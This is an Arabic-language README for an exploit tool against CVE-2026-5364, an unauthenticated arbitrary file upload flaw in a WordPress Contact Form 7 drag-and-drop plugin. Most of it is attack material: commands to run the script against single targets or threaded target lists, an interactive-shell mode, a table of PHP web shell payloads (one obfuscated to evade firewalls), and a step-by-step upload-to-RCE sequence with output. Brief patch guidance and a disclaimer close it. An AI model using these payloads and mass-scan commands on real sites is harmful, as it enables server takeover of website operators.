
CVE-2026-5364 هي ثغرة أمنية من نوع تحميل ملف عشوائي غير مصادق عليه بتقييم CVSS 8.1 (عالي) في إضافة Drag and Drop File Upload for Contact Form 7
CVE-2026-5364 هي ثغرة أمنية من نوع رفع ملف تعسفي غير مصادق عليه (CVSS 8.1 - عالية) في إضافة Drag and Drop File Upload for Contact Form 7
رفع ملف تعسفي غير مصادق عليه عبر تجاوز
sanitize_file_name()CVSS 8.1 (عالية) | المتأثر: <= 1.1.3 | المصحح: 1.1.4
| الحقل | القيمة |
|---|
| CVE ID | CVE-2026-5364 |
| الإضافة | Drag and Drop File Upload for Contact Form 7 |
| الاسم الثابت | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (عالية) |
| المتجه | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المتأثر | <= 1.1.3 |
| المصحح | 1.1.4 |
| الباحث | Thomas Sanzey |
| النشر | 23 أبريل 2026 |
الإضافة تقرأ امتداد الملف قبل تنقية sanitize_file_name().
المهاجم يرفع ملفًا باسم shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← يتجاوز القائمة السوداء
sanitize_file_name('shell.php$') → 'shell.php' ← يُحفظ كـ PHP
سلسلة من ثلاث نقاط ضعف مستقلة:
type يُقرأ من المستخدمpathinfo() على اسم الملف الخامsanitize_file_name() داخل wp_unique_filename() تزيل الحرف $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# استغلال أساسي (أمر id)
python CVE-2026-5364.py -u https://target.com
# أمر مخصص
python CVE-2026-5364.py -u https://target.com -c "whoami"
# شيل تفاعلي
python CVE-2026-5364.py -u https://target.com --interactive
# نوع شيل مختلف
python CVE-2026-5364.py -u https://target.com --shell exec
# الإخراج المفصل + بروكسي
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# مسح بـ 20 خيطًا
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# تجربة الإصدارات المصححة أيضًا
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# حفظ النتائج في ملف
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
الهدف:
-u, --url URL عنوان URL لهدف واحد
-l, --list FILE قائمة الأهداف (عنوان URL لكل سطر)
الاستغلال:
-c, --cmd CMD أمر نظام (الافتراضي: id)
--shell TYPE نوع الشيل: basic|exec|pass|eval|info
-i, --interactive فتح شيل تفاعلي
--no-skip-patched محاولة الإصدارات المصححة أيضًا
المسح:
-t, --threads N عدد الخيوط (الافتراضي: 10)
--timeout S المهلة بالثواني (الافتراضي: 15)
--proxy URL عنوان البروكسي
الإخراج:
-o, --output FILE ملف النتائج
-v, --verbose إخراج مفصّل
--no-color إخراج بدون ألوان
| النوع | الحمولة | الاستخدام |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | للأغراض العامة |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | إخراج كامل |
pass | <?php passthru($_GET["cmd"]); ?> | إخراج ثنائي |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | مخفي / تجاوز WAF |
info | <?php phpinfo(); ?> | معلومات PHP |
1. كشف Nonce
└─ wp_localize_script() متاح لكل زائر
GET /contact/ → داخل HTML: "nonce":"abc123def4"
2. تحميل الشيل
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← غير موجود في القائمة السوداء
file=shell.php$ ← sanitize_file_name() → shell.php
3. الحصول على URL
└─ الرد: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
الأحرف التي تزيلها sanitize_file_name():
$ % ~ ` (مسافة)
الأداة تجرب جميع أحرف التجاوز تلقائيًا.
| العامل | التأثير |
|---|---|
.htaccess في Apache (Content-Disposition: attachment) | يمنع تشغيل PHP |
| Nginx / LiteSpeed | .htaccess غير فعال — RCE ممكنة |
اسم ملف عشوائي (uniqid()) | غير فعال لأن رد AJAX يعيد URL |
| Nonce | حماية CSRF — ليس مصادقة، غير فعال |
قم بتحديث الإضافة إلى 1.1.4 أو أحدث.
# التحديث عبر WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// خطأ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// صحيح (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// معامل type يُقرأ الآن من إعداد المسؤول
$type = $this->get_admin_allowed_types($form_id); // ليس من POST
تم تطوير هذه الأداة لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدامها على أنظمة غير مصرح بها محظور وقد يؤدي إلى عواقب قانونية. استخدمها فقط على الأنظمة التي حصلت على إذن لاختبارها.